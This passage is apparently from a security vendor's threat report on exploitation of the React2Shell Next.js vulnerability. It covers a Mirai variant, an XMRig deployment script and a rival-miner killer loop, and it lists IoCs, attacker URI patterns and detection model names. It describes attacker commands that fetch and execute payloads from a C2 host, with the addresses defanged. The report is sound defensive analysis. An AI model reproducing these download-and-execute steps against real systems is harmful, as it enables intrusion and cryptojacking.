This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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Nathaniel Bill
Malware Research Engineer
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